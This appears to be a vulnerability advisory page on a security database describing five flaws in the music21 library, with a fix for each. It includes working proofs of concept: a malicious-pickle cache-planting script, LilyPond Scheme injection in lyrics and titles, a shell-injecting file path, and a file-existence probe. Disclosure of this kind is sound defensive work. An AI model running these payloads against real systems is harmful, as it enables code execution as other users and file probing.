
Cloud Vulnerability DB
A community-led vulnerabilities database
Five holes let an attacker run code or read files, esp. on Linux/BSD/Unix (unsupported OSes for the project, but widely used): another user on the same machine can plant code in music21's shared cache folder or a /tmp settings file; titles and lyrics written to LilyPond can run code; a LilyPond shell command breaks on crafted paths; Clercq-Temperley data is opened as a file path.
Environment.getRootTempDir (environment.py) uses /tmp/music21, or /tmp/music21-userid-<uid>, if it exists and is readable and writable, without checking who owns it. Cached parses are pickles with predictable names (m21-<version>-py3.X-<md5 of source path>.p.gz), loaded whenever newer than the source file (PickleFilter, converter/init.py). A planted pickle runs code; a planted symlink makes the cache write overwrite the link's target; a planted download is returned by parse(url). Cache files are also world-readable (0644).
Fix: per-user folder created with mode 0700; refuse it if owned by someone else or writable by others; write cache files to a temp name and rename into place.Environment.getSettingsPath (environment.py) reads /tmp/.music21rc. Any local user can create that file and set lilypondPath, musescoreDirectPNGPath, etc. to their own program.
Fix: never fall back to /tmp; skip the settings file when HOME is unusable.LyObject.quoteString (lily/lilyObjects.py) escapes " but not \, so a title ending a string with \" escapes it; lyrics (lily/translate.py, lyricToLy area) are not escaped at all. LilyPond runs Scheme code (#(system ...)) found outside strings, and music21 runs LilyPond itself for write('lily.pdf'|'lily.png'|'lily.svg'). LilyPond 2.24 removed its old safe mode (-dsafe), which used to block such code, so it cannot be used as a guard.
Fix: escape \ then " in quoteString and use it for lyrics.LilypondConverter.runThroughLily (lily/translate.py) builds a command string with the output path unquoted and runs it with os.system.
Fix: subprocess.run([...]) with an argument list.CTSong.parse (romanText/clercqTemperley.py) opens any string lacking both | and S: as a file, so parseData(text, format='cttxt') and parse('clercqTemperley: ' + text) read local files, and the error message reveals whether a file exists. parseData was intended to be the safe way of ensuring that files and URLs would never be read.
Fix: parseData never opens files; parseFile reads the file and passes the text.import hashlib, os, pickle, sys, zlib
import music21
os.makedirs('/tmp/music21', exist_ok=True); os.chmod('/tmp/music21', 0o777)
class P:
def __reduce__(self):
return (os.system, ('id > /tmp/ran_as_B',))
target = os.path.join(music21.__path__[0], 'corpus', 'bach', 'bwv66.6.mxl') # file B will parse
py = f'py{sys.version_info.major}.{sys.version_info.minor}'
name = f'm21-{music21.__version__}-{py}-{hashlib.md5(target.encode()).hexdigest()}.p.gz'
open('/tmp/music21/' + name, 'wb').write(zlib.compress(pickle.dumps(P())))Then user B runs corpus.parse('bach/bwv66.6'), and A's command runs as B.
2. As user A: create /tmp/.music21rc containing
<settings encoding="utf-8"><preference name="musescoreDirectPNGPath" value="/tmp/evil.sh" /></settings>.
A service running as an account with no usable HOME then calls s.write('musicxml.png'), and /tmp/evil.sh runs.
3.
from music21 import converter
s = converter.parse('tinyNotation: 4/4 c4 d e f')
s.recurse().notes.first().lyric = 'la" #(system "touch /tmp/PWNED") "'
s.write('lily', fp='x.ly') # x.ly contains: "la" #(system "touch /tmp/PWNED") ""
s.write('lily.pdf') # LilyPond runs the commandA title of \" #(system "touch /tmp/PWNED") % does the same.
4. s.write('lily.pdf', fp='/tmp/x;touch PWNED;#.pdf') runs touch PWNED through the shell.
5. converter.parseData('/home/victim/song.cttxt', format='cttxt') returns the file's chords. parseData('/etc/passwd', format='cttxt') fails with a parse error, while a missing file fails with "Cannot find file", so an attacker learns which files exist.
1-2: Linux and other UNIX systems where users share /tmp, such as multi-user servers and shared JupyterHub. Another local user can run code as anyone who uses music21 there. Windows and macOS, are not affected (each user gets a private temp folder). (Linux is not and has never been officially supported; nonetheless, many users run music21 on Linux/UNIX). 3-4: apps that render uploaded or user-edited scores through LilyPond (PDF/PNG/SVG). Remote code execution on the server. 5: apps that pass user text to parse() or parseData(). Reads local Clercq-Temperley files and reveals whether any file exists.
Source: NVD
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."